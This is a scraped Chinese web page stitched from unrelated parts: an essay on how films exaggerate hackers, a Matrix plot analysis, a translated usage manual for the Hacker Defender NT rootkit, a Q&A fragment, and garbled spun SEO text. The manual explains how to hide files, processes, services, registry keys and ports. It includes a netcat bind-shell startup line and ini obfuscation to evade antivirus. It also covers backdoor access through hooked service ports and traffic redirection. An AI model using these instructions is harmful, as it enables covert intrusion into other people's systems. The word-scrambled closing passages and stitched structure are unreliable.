首先需要确定的一点,就是,这是真实情况,并不是电影特效!
其实,关于黑客题材的电影,这几年非常的多,黑客们在展现高超程序员技能的同时,也向我们展示了黑客们不同于普通人的日常!
在黑客题材的电影中,首先黑客们是不用鼠标的,直接用键盘操作电脑,其实在现实中,有很多程序员就是不用鼠标的!
再者,就是黑客们飞快地敲打键盘,一层层破解要侵入对手的电脑防火墙,并且因为做这个事情的时候,往往是在特殊的情况下,时间紧张,环境危险,所以黑客们都是快速的敲击电脑,用最快的速度入侵别人的系统,完事之后消除入侵的痕迹,急匆匆离开!
电影中的黑客可谓是无所不能,连联邦调查局、中情局都能侵入,公安系统更不用说,就像家常便饭一样简单。还有在影视作品中黑客总是能够在一两次之内顺利的猜中密码,进入保密计算机,他们能在2秒内启动计算机,3秒内将所需要的保密文件传输到指定地方。
从《黑客帝国》系列电影开始,众多黑客形象被神化,更有甚者能直接触摸服务器,用手指拨弄大数据信息。应该没有人会天真地认为那是真实存在的吧,黑客也是人类,他们用ssh/powershell远程连接服务器,是指令型可执行程序,再牛逼的黑客也要坐在电脑前使用键盘。所以我们在电影中看到黑客那些炫酷的技能都要归功于特效场面。
其实早期的电脑界面就是黑黑的亮着一行行的命令,因为国外的电脑发展比中国要早。国人电脑普及的时候,windows系统早就充斥着各种盗版了吧,使用linux和dos系统那种感觉在国人印象中还真的不多见。
黑客会在事先根据入侵目标的信息,准备好各种应付不同情况的入侵工具,不会事到临头了再编写程序。
即使是用命令行模式,那也是在根据返回的信息,输入指令,指令也不会太长,更何况还有批处理,不会出现噼里啪啦打上很长一段的情况。
关于指令,要说明一下。系统自带的指令,DOS时代称为内部指令。而各种批处理文件、程序、游戏的主程序的名字,则叫外部指令。所以,运行程序,一样也可以叫输入指令,只不过是输入外部指令。黑客技术,不体现在手速上。
黑客技术本身很难很复杂
这个世界上的确存在很多很厉害的黑客。包括曾经的传说级人物凯文·米特尼克这类的人物,但是你会发现这些黑客都是存在于上个世纪那个时候电脑或者网络刚新起的阶段。
现在恨少在出现这样厉害的人物,不是现在计算机高手不在高,而是那个年代的计算机软件系统和安防系统本身就很脆弱,还有就是有些黑客完全是人物的以讹传讹的故意将其能力放大,因为不将这些人物的传奇事情说得很厉害的话,那些暗访设备和各种安全应用软件如何才能卖得出去。
这个世界上的确存在很多很厉害的黑客。包括曾经的传说级人物凯文·米特尼克这类的人物,但是你会发现这些黑客都是存在于上个世纪那个时候电脑或者网络刚新起的阶段,现在恨少在出现这样厉害的人物。
不是现在计算机高手不在高,而是那个年代的计算机软件系统和安防系统本身就很脆弱,还有就是有些黑客完全是人物的以讹传讹的故意将其能力放大,因为不将这些人物的传奇事情说得很厉害的话,那些暗访设备和各种安全应用软件如何才能卖得出去。
一开始,人类和机器大战,结果人类输了。但奇怪的是人类没有灭亡,而是变成了机器的能源。机器从人类身上获取能源显然是个假象,或者说,人类的确在做机器的电池,但这显然不是机器的目的,因为它们从人身上获取能源显然不如直接获取养活人类的那种能源来的划算。机器没有灭绝人类,可能有两个原因吧,一方面,一开始机器就有怜悯之心,它们不希望人类灭绝,但又不再想受人类威胁,最好的办法就是囚禁他们的身体,然后用一个虚拟世界来控制他们的精神,把人类作为生物电池只是副产品;另一方面,可能是机器希望研究人类以改善他们自己,同样出于消除人类威胁性的考虑,必须把人类以某种方式囚禁起来。我想对于Matrix的产生两个原因都有一点。总之,Matrix就这样诞生了。不管第一个Matrix是怎样的,总之它就是个真到让绝大多数人都以为是现实的虚拟世界,所有人的身体都在当电池,而他们的精神都活在Matrix中。Matrix的设计者就是那个设计师了,我认为他和第三集里的机械大帝是同一个东西,它就是机器世界的最高管理程序,机械大帝是它的载体,设计师是它在Matrix里人型化的投影。当然,也有可能设计师只是最高管理程序的子程序罢了,因为机器们可能有很多事情要管,不是只局限于Matrix。
继续说情节——一开始,这个设计师的脑袋似乎只有一根筋,它设计的Matrix里的所有东西都是可计算的,就是在数学上是完美的,人类也必须在这个完美的数学模型中运行,但显然人类不是这样,人类的怪点子太多了,所以第一代Matrix崩溃了。他不死心,还以为这是因为人类不适应新环境,所以又以人类历史为背景重写了Matrix,但这一代Matrix又失败了。最高管理程序(或者是设计师)于是只好又编了一个研究人类心理的超级程序—它就是先知。在她的提示下,设计师的脑筋开始有点会转弯了。他让matirx里的人类开始有选择,这样Matrix就更接近现实世界了,但是这个Matrix还是有问题,主要是两个:一是人类中总有1%的人不那么老实,他们总觉得Matrix不是真的,如果把他们闷坏了,Matrix还是会崩溃;一是由于Matrix系统的不断改进,一些旧的程序会不时被删除,但总有那么一些程序不想被删,它们就在Matrix里躲起来(那个法国人就是这类程序中的佼佼者),成为非法程序,这种程序总删不掉的话,Matrix也有崩溃的危险。为了解决这两个问题,设计师想到了一个一举两得的办法:一方面,他让那1%不太老实的人觉醒,从Matrix中脱离,让他们在现实世界的地底造一座叫zion的城市,成为Matrix的黑客,进行抵抗运动,实际上这是完全在设计师的控制之下的,这只是一种迂回的控制,因为如果把这些人强行压制在Matrix里反而对Matrix不利;另一方面,设计师集合他能找到的所有非法程序的原始代码(应该是原始代码,因为如果设计师直接知道非法程序的代码,那它直接删就行了)编写一个叫做“救世主”的程序(代码),这个程序显然可以发展成非法程序的最终形式,这个程序被植入Matrix的某个人类的精神中(到底怎么选中这么一个人的,电影里没说),那么这个人就成为救世主,之所以叫他救世主是因为它的一个作用就是它是那些zion中觉醒的人类的“救世主”,因为每到zion的力量强到开始对机器产生威胁时,黑客们就会遇到先知(这也是设计师的安排),先知会告诉他们寻找救世主,说救世主能帮助他们打败机器,救世主被找到后不久,也就正好是它的超能力觉醒的时候,这其实是他身上的那些非法程序的代码终于成熟了,这样,又在先知的指引下,黑客们和救世主来到Matrix的代码之源,救世主见到设计师,得知真相后,救世主不得不带着身上的非法程序代码、按设计师的吩咐返回代码之源,让Matrix的代码库升级,Matrix并在此基础上升级重载,重载后的Matrix就能对付原来那些非法程序了(救世主这一身份只不过是为他的归还代码找个理由罢了)。在救世主见设计师时,机器军队也在毁灭zion,救世主完成他的“升级代码库”的任务后还有一项任务就是从Matrix中选23个男男女女重建已毁灭的zion,当然,也许是几代之后,这23个人的后代们又会在先知的指引下去寻找新的救世主。可悲的是,救世主往往只能选这一条路,因为如果他不这么干,设计师就会毁灭全人类。这里顺便说一下,救世主到底是人还是程序?其实,Matrix里的程序和人的精神(灵魂)的差别已经很小了,像第三集的印度人都有了人类的爱情和亲情,他们的不同可能仅仅是载体不同而已,程序的载体是芯片,灵魂的载体是人脑。所以,程序和灵魂是可以结合的。救世主其实就是以人脑为载体的人本身的精神和“救世主代码”的结合体。精神和代码已经不分了。
以上是前几代救世主的命运,到了Matrix升级的循环到了第六代的时候,先知这个程序可能是研究人研究得深了,自己也变得人性化起来,逐渐变成了一个好人(正确的说是一个善良仁慈的程序),她开始收留一些非法程序,有的被她养着,有的成了她保镖,它还开始怜悯起那些觉醒的人类前赴后继但全不知情的抵抗和一次次被毁灭的结局。因此,先知开始有了一个计划,她要通过一个方法让Matrix的升级在这一代结束。她的计划包括两个方面:一方面,她要让这一代的救世主在见到设计师时不选择进入代码之源,她的方法是让设计师稍稍改变救世主的代码,让他爱上某一个黑客(当然这一意图是不能让设计师知道的,先知可能是告诉设计师她只是要做个小实验罢了,比如说观察加入爱情后救世主的反应,第二集里设计师自己也说:“观察你的反应是很有趣的”,先知料到设计师会低估爱情的力量,认为救世主还是会选择进入代码之源。所以我觉得neo爱上trinity是先知和设计师的安排,这虽然很可悲但却合理)这样救世主为了救心上人而放弃进入代码之源。第二集结束时,先知的这一步计划成功了,但仅有这一步是不够的,因为如果救世主不进入代码之源,那么设计师就会毁掉全人类,而且zion照样会被毁灭。所以另一方面,先知必须要给救世主准备一个可以和机器大帝(设计师)谈和的筹码,这个筹码就是smith。先知说了,Smith是救世主程序的反面,我认为这样的程序是不可能自己形成的,smith这一程序应该是先知一手改写的。按照设计师的说法,先知这一程序是要定期检查的,不然也会危及系统,这说明先知在Matrix中的能力(或者说权限)是相当大的,她极有可能用某些方法改写了smith的程序(连法国人和印度小女孩都能编写程序,何况是神通广大的先知呢?),而且是用救世主程序的反面改写的,所以smith还是个合法程序时,他就强烈表现出非法程序的“气质”(审问Morpheus那段,他想脱离Matrix的愿望比neo还强),而在救世主身上的非法程序代码苏醒(力量觉醒)之时,smith身上的非法代码也激活了。如果说救世主是设计师可控的非法程序最终形式的话,那么smith就是设计师意料之外的最可怕的非法程序。其实,smith是先知计划中很重要的一枚棋子,先知就是要让smith强大到设计师无能为力的地步,而只有neo可以凭借身体内与smith相反的代码将其中和,neo以消灭smith为条件换来和平。——以上就是先知的如意算盘了,这其中有一些过程先知可以凭借她在Matrix内的精密计算和她对人类心理的深刻理解而预知,还有一些也是听天由命的,正像最后设计师对先知说的:“你玩了一个很危险的游戏”。先知基本上也就是赌一把。
整个Matrix系列说的好像基本上就是先知这一人类拯救计划的执行过程。这一代的黑客代表人物Morpheus和Trinity等人找到了这一代的救世主载体Neo。Neo在历尽磨难后终于变成了救世主(其实是必然的),他同时也爱上了Trinity(其实先知早就告诉Trinity了,这根本就是先知安排的——我们经常说的“造化弄人”实际上是不是脑子里被写进了一个程序呢?)。(第一集)
Simith在被Neo干掉之后也顺理成章地成了非法程序,能力开始成长(复制能力)。然后neo他们又从非法程序的精神领袖那里抢来了知道如何进入代码之源的程序。从这个精神领袖的话中得知,似乎每一代救世主都要找他麻烦,似乎这也是设计师的安排。Morpheus他们在得到Neo后变得越来越神勇,原来见到Agent像耗子见了猫似的,但这时已经不怎么害怕了,还能和他们过几招。后来neo终于见到设计师,Trinity也 “很及时地”遇到危险,得知救世主真相后的neo为了救心上人还是弃全人类不顾,毅然决然救了Trinity,回到现实。得知真相的Morpheus也备受打击,从此光采尽失。这时neo突然有了在现实中击毁电子章鱼的能力,当然,用了一次就晕了。(第二集)
这时,有复制能力的smith居然复制到了一个zion的人类身上还把人类的飞船都破坏了。这些飞船上有人类最厉害的武器(那种按一下机器人就死光光的东西,忘了叫什么了)。这时只剩下配合neo他们行动的两艘飞船了。一艘返回zion去支援那里只用非常简陋的机器人和电子章鱼拼命的人类军队。另一艘载着neo和Trinity去机器城见机器的老大——机器大帝。途中遭被smith复制的那个人的突袭,neo双眼被刺瞎,但他在现实中感知和摧毁代码的能力却完全觉醒了,其实这是因为在第二集结束时,neo接触了Matrix的最高管理程序——设计师而成长了,他原来只能在Matrix中感知代码,现在由于学习,他也能在现实中感知代码了,原来必须接触Matrix,现在可以远程感知了(所以neo在现实中有超能力根本不是说zion也是虚拟世界,只不过是neo的能力从插卡式进化到遥控式罢了,他在现实中的超能力还是仅限于代码的)。他们干掉了这个smith,终于闯进了机器城,但Trinity牺牲了。这时,Matrix中的smith果然已经如先知预期的那样几乎把整个Matrix里的人和程序都复制成他自己了,包括先知自己在内(至于为什么smith吸收了先知之后还是不知道这是先知的计划,这可能是因为先知这个程序即使被吸收也还是有保护代码,smith无法完全破解——只能这样理解了,不然我的文章就白写了)。Neo和机器大帝达成协议,进入Matrix消灭Smith,换取人类和机器的和平,机器大帝同意了。结果Neo和Smith在无数Smith的注目下决战,Neo当然打不过Smith了,但是最后Smith同化Neo时,Neo释放自己的代码,和Smith同归于尽了。这时,所有被smith同化的人都恢复原状,而和Neo的决斗的那个Smith恢复成了先知(这很容易理解,因为吸收了先知的smith显然是所有smith中最强的,所以代表无数smith和neo决斗的就是先知同化成的smith,从躺在地上的先知嘴角含笑来看,先知在被smith吸收后应该是还有自我意识的,她知道自己的计划终于实现了)。这时,进攻zion的机器大军也撤退了。第二天,先知和设计师碰面,设计师承诺遵守诺言,不再迫害那些觉醒的人类,从此人类可以在Matrix和zion之间自由选择。Matrix里第一次升起了不带绿色的朝阳,地球成了一个人类和机器、机器城和zion、觉醒的人类和Matrix中的人类、合法程序和非法程序共存的和谐世界。革命成功了!(第三集)
电视和影视的效果,为了收视率会拉伸夸大一些镜头黑客可以无所不能,而且有很强的视觉效果。真正的黑客和现实中的程序员没有多大的差异,首先要具备一堆编程技能包
,
而且黑客做事情不像软件企业立个项目然后大家一起讨论需求,整体意义来讲算是团队作战,软件开发更像是一步步的堆砌高楼大厦,整个大厦的建设周期会按照项目规划按部就班的去执行,最后大家把大厦建设的非常牢固,黑客更像是在已有的大厦上寻找暗门直接进入,找到核心的控制单元,然后做点自己感兴趣的事情。从方向上看更像是逆向的工作,从工作强度上来讲更加强,工作难度也会更加难。
所以从技术角度考虑黑客必须对计算机结构以及网络传输协议有一个非常深刻的认识,从编程语言角度考虑基本上C语言,汇编等底层语言是基础,网络协议不是简单的了解这种程度了,这些都是基础,
还需要有针对具体软件的逆向攻击计划,了解所要进攻软件的属性行为,猜测其内部如何实现,通过外观表面上的行为,分析内在如何实现,这点严重区分传统的软件开发,正常的开发每天都要知道自己在干点什么,任何目标非常的明确,而且有项目经理或者产品经理监督,更形是一个标准的执行者,黑客要做的事情完全来源于内驱动力,进度和规划是完全自觉的行为,要说黑客比普通的程序员有多少过人之处,也就在内在情怀,这点也是区分的本质。
Hacker defender 使用
=====[1,目录]==============================================
1.
目录
2. 概要
2.1 关于
2.2 申明
3. 使用说明
4. Ini文件说明
5.
Backdoor
5.1 Redirector
6. 技术支持
6.1 版本
6.2
钩子API函数
6.3 已知的 bugs
7. Faq
8. 文件
=====[ 2.
关于]================================================
Hacker defender
(hxdef)是一个使用于Windows NT 4.0, Windows 2000 以及Windows
XP操作系统的一个NTROOKIT,它也能运行于之后的基于NT的操作系统。主要代码是由DELPHI
6完成。新的功能使用汇编书写。驱动代码由C完成。后门和redirector客服端大部分使用 Delphi 6完成。
=====[ 2.1 概要
]=============================================
程序的主要功能是在所有运行中的进程中重写分割内存,重写一些基本的模块改变进程的状态,它几乎能够改写所有不影响系统稳定和正在运行中的进程。
程序能够完全隐藏,现在能够做的有隐藏文件、进程、系统服务、系统驱动、注册表的键值和键、开放端口以及虚构可用磁盘空间。程序同时也在内存中伪装它所做的改动,并且隐蔽地控制被隐藏进程。程序安装后能构造后门、注册表、系统服务,构造系统驱动。其本身的后门技术允许其植入
redirector。
=====[ 2.2
申明]====================================================
本项目1.0.0版本是开发源代码。
使用Hacker
defender所造成的后果作者本人概不负责。
=====[ 3. 用法
]==================================================
一个使用hxdef的简单例子:
hxdef100.exe [inifile]
或者
hxdef100.exe [switch]
直接执行EXE文件,不带任何的参数时候,默认的inifile文件为程序名.ini
。
当你执行hedef100不指定ini文件,或者你以参数模式运行时候,默认的文件是
hxdef100.ini。
下面的参数是有效的:
-:installonly - 只安装服务,不运行
-:refresh - 从INI文件中更新设置
-:noservice - 正常运行不安装服务
-:uninstall -
移除hxdef删除所有运行的后门连接,同时停止hxdef服务
例如:
hxdef100.exe
-:refresh
Hxdef拥有默认INI文件,但是我们强烈的推荐你建立自己的ini文件。关于ini文件的介绍可以看第4部分ini文件部分。
参数
-:refresh and -:uninstall
来源于本来的EXE文件。这就意味这你只要知道hxdef的运行路径和EXE名,就能够改变它的设置或者进行移除工作。
=====[ 4. Ini文件
]============================================
ini文件必须包含了9个部分: [Hidden Table],
[Root Processes], [Hidden Services], [Hidden RegKeys], [Hidden RegValues],
[Startup Run], [Free Space], [Hidden Ports]和[Settings]。
在 [Hidden Table],
[Root Processes], [Hidden Services]和[Hidden RegValues]
中能够使用*代替后面的字符,星号仅仅使用于字符的后面,任何在*之前的都是无效的。所有的在字符之前和之后的空格也是无效的。
例如:
[Hidden
Table]
hxdef*
将开始隐藏所有在Hidden
Table中以"hxdef"开头的文件、文件夹和系统进程。
在该文件列表中的所有文件和文件夹都将在文件管理器中消失。在这个列表中的程序也会在任务管理器中被隐藏。必须确保主要文件,INI文件,你的后门文件和驱动文件被包含在列表中。
在程序列表中的主进程对感染具有免淤能力,你只能利用这些主程序才能看见隐藏的文件,文件夹和程序。所以,主进程是为rootkit管理员所使用的。
由服务和驱动所组成的Hidden
Services列表将会隐藏在数据库中的安装服务和驱动。rootkit主程序的服务名默认为HackerDefender100,rootkit驱动的驱动名默认为HackerDefenderDrv100。它们两者都可以通过ini文件进行修改。
Hidden
RegKeys中列出的注册表键值将会被隐藏,Rootkit在注册表中有四个键值:默认的是HackerDefender100,
LEGACY_HACKERDEFENDER100, HackerDefenderDrv100, LEGACY_HACKERDEFENDERDRV100
如果你要重新命名服务名或者驱动名,你需要在列表中做相应的改变。
开始2个键值是和你的服务据用相同名字的,接下来的键值是LEGACY_名字。例如,如果你改变你的服务名称为BoomThisIsMySvc
,那么在注册表中,应该是这样表示的,LEGACY_BOOMTHISISMYSVC。
在Hidden
RegValues列出的注册表的值将会被隐藏。
Startup
Run列表中列出的是rootkit程序运行之后的自启动程序。这些程序和ROOTKIT具有一样的特权。程序名和它后面的参数以?分开。不要使用"字符,程序将会在用户登陆以后终止,在用户登陆以后可以使用一般和常见的方法。你可以使用下面这些快捷方式。
%cmd%标准系统的shell和路径
%cmddir%标准系统的shell文件夹
%sysdir%
- 系统文件夹
(e.g. C:\winnt\system32\)
%windir% -
标准系统文件夹
(e.g. C:\winnt\)
%tmpdir% - 临时文件夹
(e.g. C:\winnt\temp\)
例如:1)
[Startup Run]
c:\sys\nc.exe?-L -p
100 -t -e cmd.exe
nc-shell将会在rootkit运行以后监听100端口
2)
[Startup
Run]
%cmd%?/c echo Rootkit started at %TIME%
%tmpdir%starttime.txt
将rootkit启动时间保存在系统临时文件夹夹starttime。Txt文件。
(%TIME%仅仅运行于Windows2000以上的操作系统。)
Free
Space中列出的驱动硬盘名和容量大小是你想增加的硬盘,它的格式是X:NUM,其中X表示磁盘驱动器的名称,NUM表示你要增加的磁盘的容量。
例如:
[Free
Space]
C:123456789
这将在C盘增加大约123M的磁盘空间。
Hidden
Ports中列出的是你需要隐藏程序的端口,比如使用OpPorts, FPort, Active Ports, Tcp
View等的程序,它最多拥有2行。第1行的格式是TCP:tppport1,tcpport2,tcpport3
,第2行的格式是UDP:udpport1,udpport2,udpport3 ...例如:
1)
[Hidden
Ports]
TCP:8080,456
这将隐藏2个TCP端口:8080和456
2)
[Hidden
Ports]
TCP:8001
UDP:12345
这将隐藏2个端口:TCP的8001和UDP的12345。
3)
[Hidden
Ports]
TCP:
UDP:53,54,55,56,800
隐藏5个端口,都为UDP端口:53,54,55,56,800。
Settings包含了8个值:Password,
BackdoorShell, FileMappingName, ServiceName,ServiceDisplayName,
ServiceDescription, DriverName 和
DriverFileName。
名。
16位字符的Password被用于后门链接和转向,密码能根据短一些,余下的用空格代替。
BackdoorShell是复制于系统的SHELL文件,它被后门创建于一个临时的目录下。
FileMappingName,当钩子进程被存储时,用于共享内存。
ServiceName是rootkit服务
ServiceDisplayName为rootkit显示的服务
ServiceDescription位rootkit的服务描述
DriverName以hxdef驱动命名
DriverFileName以hxdef驱动文件命名
例如;
[Settings]
Password=hxdef-rulez
BackdoorShell=hxdef?.exe
FileMappingName=_.-=[Hacker
Defender]=-._
ServiceName=HackerDefender100
ServiceDisplayName=HXD Service
100
ServiceDescription=powerful NT
rootkit
DriverName=HackerDefenderDrv100
DriverFileName=hxdefdrv.sys
这就意味着你的后门密码为hxdef-rulez,后门将复制系统shell文件(通常是CMD.EXE)为hxdef?.exe到临时目录。共享内存将变为"_.-=[Hacker
Defender]=-._",服务名为"HackerDefender100",它显示的名称为"HXD Service 100",它的描述为"poweful NT
rootkit",驱动名为"HackerDefenderDrv100",驱动将被存储于一个叫做"hxdefdrv.sys"的文件中。
扩展字符|,
, , :, \, / 和 "在所有的行中都会被忽略,除了[Startup Run], [Free Space] 和 [Hidden
Ports] 项目和在 [Settings] 中first =
character后面的值。使用扩展字符能然你的INIFILE文件摆脱杀毒软件的查杀。
例如:
Example:
[Hidden
Ta/"ble]
h"xdef"*
和下面的是一样的。
[Hidden
Table]
hxdef*
更多的例如可以参照hxdef100.ini
和hxdef100.2.ini文件。
所有的在ini文件中的字符串除了那些在Settings 和 Startup
Run中的,都是无效的。
=====[ 5. Backdoor
]=========================================
Rootkit程序
Hook了一些API的功能,连接接收一些来自网络的数据包。如果接收的数据等于256个字节,密码和服务被确认,复制的SHELL被临时创建,这种情况建立以后,下一次的数据接收被重定向到这个SHELL上。
因为rootkit程序
Hook了系统中所有进程,所有在服务器上的TCP端口都将变为后门。例如,如果目标主机开放了提供HTTP服务的80端口,这个端口也能作为一个有效的后门。例外的是这个开放端口的进程不会被Hook,这个后门仅仅工作于服务器的接收缓冲大于或者等于256个字节。但是这个特征几乎适合于所有标准的服务,像IIS,APACHE,ORACLE等。后门能够隐藏是因为所有的数据都通过系统上面提供的服务转发。所以你不能使用一些简单的端口扫描软件找到它,并且它能轻易的穿过防火墙。
在测试发现IIS服务过程中,HTTP服务不能记录任何的连接日记,FTP和SMTP服务器仅仅能记录结束的断开连接。所以,如果你运行hxdef在有IIS
Web服务的服务器上面,HTTP端口跟你是连接机器使用的后门的最好端口。
如果你想连接后门的话,你将不得不使用使用一些特别的客户端,程序bdcli100.exe就是被用于如此的。
用法:bdcli100.exe
host port password
例如:
bdcli100.exe 80
hxdef-rulez
连接服务器使用默认的密码。客户端1.0.0版本不兼容其他老的版本。
=====[
5.1 Redirector
]==========================================
Redirector是基于后门技术。第一个连接包和后门连接一样。这就意味着你能使用相同的端口。下一个包是仅仅为Redirector特殊的包,这些包由基于运行用户电脑的重定向器生成.第一个重定向的包连接特定的目标主机和端口。
Redirectors的设置保存在与EXE文件同名的INI文件中(所以默认的是rdrbs100.ini)。如果这个文件不存在,那么在EXE文件运行的时候它会自动建立一个。最好不要额外的修改INI文件。所有的设置都可以在console中进行改变。
当ROOTKIT被安装时,如果我们需要使用服务器上面的redirectors功能,我们首先要在本地运行程序。在控制台上我们可以在有HXDEF的服务器上面建立一个映射端口路由。最后我们连接本地端口并且转换数据。转向的数据被rootkit的密码加密。在这个版本中连接的速度被限制在256K左右。在这个版本中redirectors并不适合于高速连接。Redirectors也会受到安装有rootkit的服务器的限制,而且Redirectors仅仅使用TCP协议连接。在这个版本中Redirectors
base有19条命令,他们并不是非常的敏感。关于功能的详细描述可以使用HELP命令。在Redirectors
base启动时,startup-list中的命令也被执行。startup-list中的命令可以用使用SU启动的CMD进行编辑。
Redirector区分于2种连接类型(HTTP和其他)。如果连接是其他类型的,数据包将不会被改变。如果是HTTP类型,在HTTP文件头的HOST参数将会改变为目标服务器。一个base的最大Redirector数量是1000。
Redirector仅仅适用于NT结构,只有在拥有图标的NT程序下你才能使用HIDE命令隐藏控制台。只有在NT下才能无声无息的运行,没有数据输出,没有图标,仅仅执行startup-list中的命令。例子:1)得到端口映射信息
MPINFO
No mapped ports in the
list.
2)增加MPINFO命令到startup-list并且得到startup-list中的命令。
SUADD
MPINFO
sulist
0) MPINFO
3)使用HELP命令。
HELP
Type HELP COMMAND for command details.
Valid commands
are:
HELP, EXIT, CLS, SAVE, LIST, OPEN, CLOSE, HIDE, MPINFO, ADD,
DEL,
DETAIL, SULIST, SUADD, SUDEL, SILENT, EDIT, SUEDIT,
TEST
HELP ADD
Create mapped port. You have to specify domain
when using HTTP
type.
usage: ADD LOCAL PORT MAPPING
SERVER MAPPING SERVER PORT
TARGET
SERVER
TARGET SERVER PORT PASSWORD [TYPE] [DOMAIN]
HELP
EXIT
Kill this application. Use DIS flag to discard unsaved data.
usage: EXIT
[DIS]
4)增加端口映射,我们在本地100端口进行监听,ROOTKIT安装在服务器200.100.2.36的80端口上,目标服务器是端口。,rootkit的密码是bIgpWd,连接类型HTTP,目标主机()我们知道它的IP地址是216.239.53.100。
ADD 100
200.100.2.36 80 216.239.53.100 80 bIgpWd HTTP
ADD命令可以不加任何参数的运行,在这个例子中我们要求每一个参数都要分开。
5)现在我们再使用MPINFO检查一下映射端口
MPINFO
There are 1 mapped ports in the list. Currently 0 of them
open.
6)列举端口映射表:
LIST
000)
:100:200.100.2.36:80:216.239.53.100:80:bIgpWd:HTTP
7)一个端口映射的详细描述:
DETAIL
Listening on port: 100
Mapping server address:
200.100.2.36
Mapping server port: 80
Target server address:
216.239.53.100
Target server port: 80
Password: bIgpWd
Port
type: HTTP
Domain name for HTTP Host:
Current state:
CLOSED
8)在没有密码的情况下,我们能在端口映射服务器200.100.2.36上测试rootkit是否已经安装(但是如果我们能确认它这样做就不再需要)
TEST 0
Testing 0) 200.100.2.36:80:bIgpWd –
OK
如果测试失败则显示:
Testing 0) 200.100.2.36:80:bIgpWd -
FAILED
9)在我们没使用之前端口仍然是没有开放的。我们不得不使用OPEN命令打开它,当端口开放时,我们也能使用CHOSE命令关闭端口。我们能使用标志符ALL应用这些命令在列表中的所有端口,这个过程可能需要一段的时间。
OPEN 0
Port number 0 opened.
CLOSE 0
Port number 0
closed.
或者 OPEN ALL
Port number 0
opened.
10)要保存当前的设置和列表我们可以使用SAVE命令,将保存所有的设置到ini文件中。(保存也会通过命令EXIT执行,而不需要DIS标志)
SAVE Saved
successfully.
开的端口能够转换我们需要的所有数据。限制你能打开你喜欢的浏览器输入网址,如果没有什么问题的话,你会看见打开的是的主页。
第一个数据包跟你会延迟5秒钟左右,但是其他的限制仅仅取决于服务器的速度,根据这个版本的转向技术,你联网的速度大约在256K左右。
=====[
6.
技术发行]========================================
这部分包含了一些对于普通用户无关紧要的信息。这部分可能适合所有的测试者和开发人员阅读
知识面太窄了,你只是会C语言而已,病毒它的一些机制,你并不知道,你当然看不懂。
就像你学了数学,但是你没学过物理。
虽然物理题的解法可能也只是用了数学的加减乘除,但是你并不能明白他到底有什么意义
看看,前几个人回答,都纠结在程序语言本身了。你就是把C语言本身吃的在透,不知道病毒的相关知识是没用的。就像我让你用C语言求一个三角形面积,如果你连一点几何知识都没有,甚至什么是三角形都不知道,你C语言掌握的再好你也是求不出来的。
上面的这段代码主要用于文件操作(文件目录),指针、结构、条件编译等都包含其中。既然你已经学过了C/C++的基础,应该不难看懂。你之所以看不明白,我想主因应该是你对#ifdef这些语句的作用不甚明了,建议你静下心来,把代码认真地多看几遍,相信你会慢慢地看懂它。 另外,学编程需要心如止水,一个浮躁的人是很难写出优秀的代码的,浮躁只会让你失去对代码的感知能力。还需要有超强的毅力,因为编程本身就是一项枯燥繁琐的工作。 认真地多看几遍代码,直至你看懂为止,这就是一种方法。 个人看法,希望能对你有所帮助。
天下 的自考英语两试题皆是雷同 的吗尔念 晓得详细 的相闭事宜,无关测验 的,便是要考白话 甚么的吗?借有易没有易。0 八年 一0月自考英语两测验 试题及参照谜底 ( 二00 八- 一0- 二 七 0 一:0 三:0 二) 标签:0 八年 一0月 自考 试题 谜底 学育 1、双选题: 一、It...
当前地位 :SEO尾页>营销常识 >病院 拉广圆案(新媒体营销的弄法 )病院 拉广圆案(新媒体营销的弄法 )收集 二0 二0- 一0- 一 九 二0: 二 九: 五 五 一 五 三远一年,新媒体自媒体入进医疗营销者的存眷 规模 ,年夜 野也念把事情 的重心搁正在新媒体营销上,正在那...
SpruceMail 是一款 SaaS 产物 ,否赞助 私司宣布 赔钱的 Facebook 告白 。产物 的代价 定位很单纯:Facebook 告白 是庞大 的。您要合腾许多 工作 ,否能很快几千美圆便花失落 了却归报甚微。SpruceMail 来除了了那种庞大 性,从一开端 便为您提求一个无利否图...
甚么文献合适 用CDN添载CDN次要实用 于一点儿动态资本 文献的添载,好比 javascript文献、css样式文献、字体、图片、望频等其余资本 文献。那些文献咱们每每 搁到本身 的一点儿前端办事 器外作处置 (nginx),运用CDN便否以避免除了前端办事 器部门 事情 了。运用CDN的利益 晋...
正在咱们的搜刮 引擎劣化工 做外,否能许多 同伙 会碰到 如许 一个答题,网站一点儿症结 词排名没有错,然则 点击拜访 的没有多,以至有同伙 曾经查询拜访 过,领现有时刻 排名靠前的拜访 质比靠后的点击率更 低,有些网站拜访 质很下,然则 网站告白 的点击率很低,产物 发卖 型网站也会异样碰到 那...
照样 域名孬忘一点儿?那也便占了一部门 ,另外一部门 靠的便是拉广。网站的流质也是站少们最为头疼的答题,若何 提下小我 网站的流质,尔有一点儿定见 求年夜 野参照。 网站的开辟 是流质起源 的底子 ,必然 要把底子 事情 作孬,也便是作孬网站劣化事情 。零体网站劣化的孬,任何搜刮 引擎都邑 为您带...